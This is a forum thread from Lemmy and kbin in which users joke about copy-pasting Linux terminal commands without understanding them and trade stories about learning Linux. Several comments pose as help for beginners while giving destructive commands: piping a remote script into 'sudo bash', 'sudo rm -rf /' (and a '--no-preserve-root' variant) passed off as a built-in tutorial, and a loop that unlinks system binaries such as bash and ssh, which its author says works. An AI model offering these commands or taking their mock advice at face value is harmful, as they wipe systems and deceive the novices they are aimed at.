Spyke
lemmy.ml

Nothing better than curl https://totally-legit-installer.com/script | sudo bash

72

I usually get an output saying my distro isn't supported. So I have to download and edit the script then it can bypass checking os-release or something like that.

6
kbin.social

I'm in a helpful mood so I'll add something for anyone stuck in OP's situation.

It's ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.

Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:

sudo rm -rf /

Type your password when prompted and you're golden. No more linux issues ever again.

61
lemmy.world

Remember that if you run it as root and dont add the flag --no-preserve-root you leave your system vunrable to hackers like Anonymous or 4chan until you reboot,

I also find that adding --verbose adds more things like commentary and extras that really help

So, run sudo rm -rf --no-preserve-root --verbose

/s

31

All good points.

That's why I love communities like these, there are always people willing to expound upon other's solutions with solid additional information.

It's what makes forums like these such goldmines of information when you're first cutting your teeth learning new things.

Upvoted.

19
whoamibroreply
lemmy.world

I tried your command and got the tutorial program and I gotta say that this is the best tutorial program I've ever seen. Now I wonder why other OSes don't do that

21
Rabbitholereply
kbin.social

It's great, isn't it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system's using now that you've run the tutorials. It's almost like nothing's going on in the background at all.

This is the reason that BASH will always be better than Powershell, imho.

13
Rabbitholereply
kbin.social

Well, technically it teaches you how to optimize your system.

That said, the optimizations are really effective.

12
lemmy.world

Note that the more corporate distros install PUPs (Potentially Unwanted Programs). (like clang) To uninstall, do what youd do on a Windows machine and wrip it out of your PC forcably

while read bloatware; do bloatware="$(echo "$bloatware" | cut -f1 -d'#')"; file="$(whereis "$bloatware" | cut -f2 -d' ')"; if test -f "$file"; do unlink "$file"; fi; done <<bloatlist 
clang # unwanted telemitry
bash  # promotes violence
tree    # hippy garbage
awk    # secret backdoor into your PC
ssh    # isnt up to date on its intentional encryption backdoor certificate
bloatlist

::: spoiler /s Hope nobody dumb enough to run this Because it actually works :::

8

Lol, I know what you mean.

Isn't it fucked up how we all say that linux doesn't have viruses, and yet how many times have you ever seen an install of Mint or Ubuntu that didn't have "Tree" or "Awk" just sitting there waiting to ruin your whole day.

I swear to God Canonical have some things to answer for.

4

Done and I must say, as stated by the comments above - my CPU and RAM usage are at an all time low. Other OSes don't hold shit against Linux now.

19
some_guyreply
lemmy.sdf.org

I told someone to do that way back when. He wisely tried it on a computer at Best Buy (a Mac) rather than his own. I respected his thinking ahead.

12
Gatsbyreply
lemm.ee

When did best buy display Linux computers?

3
lemmy.world

That’s probably how most of us started, but then you start getting familiar with things…

40
lemmy.world

In my early days I would reinstall the whole OS several times a week when I would fuck things up too much.

29
RealBlstrreply
lemmy.world

Ah, the good old days of installing some obscure distro just to reinstall from scratch a week after 👌🏼

13
mfn77reply
lemmy.world

I'm still curious about stuff I didn't try. Like NixOS. Even tough I have a perfectly configured and problem free arch install which could take hours to replicate, I still consider if I should try it.

6

I just switched to NixOS from Endeavour maybe 1/2 days ago. It's honestly pretty cool(i might have to be extra stupid to break this distro lol), but even as a vanilla Arch user it still kind of confuses me. I'm a linux noob, though. You'll probably have an easier time with it.

Edit: i do miss pacman, specially yay.

3

God I spent so much unnecessary time reinstalling arch, before arch-install too! Looking back almost every time I reinstalled arch I could have fixed it with an installer and chroot.

2
RealBlstrreply
lemmy.world

That's true. I'm no expert, I need to google everything - but after years of reading / coping/ pasting similar things, I started to understand how some things work.

8

While at the same time, others understand less and less how you work

1
lemmy.world

I actually take the time to type everything out, but I still have no idea what I’m doing.

32
ejsexton82reply
lemmy.sdf.org

You know, my students do this. It's freaking hilarious when they inevitably have a typo and get an error. I chuckle every time. 😄

8
madwifireply
lemmy.world

it is actually a good thing to do. helps in learning stuff faster. it's good to hear that there's still people who don't mindlessly copy and paste

18

I realize my post sounds like I'm against students typing out commands, but I'm not. I'm against them mindlessly typing out commands they find on the internet without taking time to understand what the commands actually do. I encourage them to be intentional with their commands and really understand them.

4
mvirtsreply
lemmy.world

Omg I tell people at least 3 times a day about bash's tab completion. Cli proficiency should be taught before programming

10

Thank you, whenever people ask me how to start learning and get rolling in tech related things I’ve struggled trying to articulate this exact point. I’m not a sysadmin or anything but knowing how to navigate CLIs across OS’s makes everything so much easier to learn and do

3

Tab completion is the main way I check that I'm using a valid file path in the command, especially when I'm deleting something. (and even then I double and triple check the path when I delete something lol)

2
lemmy.nz

People underestimate how important being able to google answers on the internet has been for the take-up of linux and many other things. Most of us would be lost without Google.

22
mvirtsreply
lemmy.world

Aaand the arch wiki

Aaand stack overflow

Aaand the Gentoo wiki

Aaand random Linux forums :P

Aaand very occasionally the accessible source code for when you're really stuck and have no other choice but to sell your soul in exchange for a glimmer of understanding after peering into the abyss.

15

I’m convinced that if StackOverflow goes down society would follow within a matter of weeks.

3
MellowSnowreply
lemmy.world

OP bout to copy/paste this without knowing what it does lol.

11
MellowSnowreply
lemmy.world

The curl command pulls data from a URL into your terminal. So you can actually go to cheat.sh in a web browser to see what the output would be (also wouldn't necessarily recommend doing this vs. blindly pasting commands, but in this case, perfectly safe!). It looks like a little Unix command helper tool.

8

Why wouldn't you recommend this? As a novice, it seems to me like a safe way to check out what you're actually pulling in through curl

3

Quick google shows it's (likely) an aggregate cheat sheet for numerous resources which can be accessed via curl cheat.sh/ or curl cht.sh

(I haven't confirmed this, verify the safety of all commands and code that you run on your system before you run it, don't inherently trust someone else)

6
lemmy.world

Not just Linux, I do this all the time when 'writing' R or Python scripts for work. Then I spend the next 2 hours debugging a missing comma.

18

You move past this stage once you start actually depending on the system. Then you find imperfect answers to some problem and have to adapt them to your system. Then you start learning.

13
lemmy.world

Years ago I started out like this, then gradually started reading and understanding the stuff.

11

I sometimes feel like I go all the way around. I find a fix for a problem that says: just copy and paste this. I then spend 3 hours or more reading and trying to understand the snippet, or do it directly. Then I realise the fix is to just copy and paste that original snippet.

I guess at least I now understand why everyone just does that for that problem.

1

After reading (or skimming) many books on *nix, I encountered one that was way over my head. I was lost and gave up after ~25 pages. A few years later, I found myself reading it casually because I no longer needed to type things out to verify how they worked. It was an awesome feeling.

1
lemmy.ml

I don't think that's a terrible way of getting started. Your subconscious will do the rest at some point, unless you're really not interested at all (which isn't a problem either). :)

11
ShadyGrovereply
lemmy.world

The real learning happens when you copy and paste something you shouldn't and bork your system. That's basically how I started.

13
sunbunmanreply
lemm.ee

Me learning anything ever. Troubleshooting is the real learning phase.

8
lemmy.world

No offence, but I hope you don't hold a high ranking government position, what with catastrophic error being the only way you learn 😁

-5
biddyreply
feddit.nl

I hope I never hold a high ranking government position too

8

Same tbh. For the hassle to be worth it, you'd probably have to have either an extreme tolerance for bureaucracy and patience in general or exactly the kind of selfishly careless mentally that would mean that you should NEVER be allowed anywhere near the job..

4
sunbunmanreply
lemm.ee

One would hope that all the learning mistakes happen earlier in the career before you could be trusted with something big like that.

4
EliteCowreply
lemmy.dbzer0.com

That was me today when I allowed Linux to remove what it claimed "can/should' remove X packages.. now my llmachine has no VMware tools, won't scale, and is missing something called fuse?

2

fuse is for mounting filesystems that don’t have in-kernel drivers. I haven’t touched VMWare in a while, but they might use it for sharing folders between the host and guest

7

ChatGPT has actually been invaluable for switching to Linux for this reason. I only broke my system after I tried finding my own solutions to problems online and copied that code.

5

There is a big issue in the Linux community where people are very concerned with the OS itself and not what people are actually doing with it. So if copy pasting is working and you are getting whatever it is you want don’ done, done, then no one should care how you got there.

5

Heheh on Linux when you think you found the answer you copy paste, log out and back in. Sometimes reboot if it don’t with try the next copy and paste.. so many memories

3

I've spent some much time in a terminal the last week I'm starting to Ctrl+x anytime I want to save anything lol. Even illustrator files at work lol.

3

Just be careful with those two letter shell commands like rm and dd. But if you don't, you will become proficient in reinstalling Linux.

3
geddit.social

Honestly this is good enough for most people. Some may say you risk fucking up the os/computer but windows guides carry the same risk.

2
yuriyreply
lemmy.world

the linux equivalent of earning your wings is attempting a simple fix and somehow fucking up so bad you have to start over from a fresh install

11

Yeah... I just wanted to connect my phone via adb. Ended up removing myself from the sudo-ers group. Since I did not know how to fix this problem at the time this caused a fresh install.

3
cloakerreply
kbin.social

You don't need to in Linux either. You can do most everything from a gui.

3
cloakerreply
kbin.social

Of course but Debian, Ubuntu, Fedora, Mint and KDE are all pretty good in the gui when standard

1

Agreed, but I've still run into some instances where a program is not available in the official store and you need to add the repo via terminal.

Not as common as it used to be. I'm just saying.

¯\_ (ツ) _/¯

1
cloakerreply
kbin.social

Even then, you can usually add via the gui even if it's a bit complicated. Flatpaks and snaps make that way easier.

1

This makes me laugh so much. After years of using Linux, it’s still true for me to an extent.

2

I'm a Linux system admin, I literally do this for a living, and I usually feel like I have no idea what I'm doing.

3
loz
aussie.zone

Yeah I'm wildly careless about copying and pasting stuff beginning with "sudo ...". No harm yet, though I do wonder what this process called "totallynotabitcoinminer" is and why my pc has slowed to a crawl.

2
zbeckerreply
mastodon.zbecker.cc

@live_long_prosper @EliteCow

Yeah, this is the case if you're a heavy terminal user. However, for a lot of people this is no longer necessary.

For a lot of people where just stock #gnome or #kde is good enough, and you use the software store app to install applications, you rarely have to touch the terminal and as such don't have to know the commands.

That being said, as a heavy #neovim and #emacs user, the power provided by actually knowing the commands is something that I could not do without.

2
Falmarrireply
lemmy.world

I live in the terminal all day every day. And I still copy paste. It's generally way easier and less typo prone than typing everything

3
zbeckerreply
mastodon.zbecker.cc

@Falmarri

I do a lot of copying and pasting as well, but what works very well as well is hitting control+r. When I found that out it sped up my workflow by quite a bit.

1

You copypaste till everything is in the terminal history, then you just scroll through it like a pro

1

Ah yes, anytime I am making a script in bash and have to use something I have never seen before.

1

It's the main reason mainly programmers use it, not because of the openess, because they learnt to Google there problems

1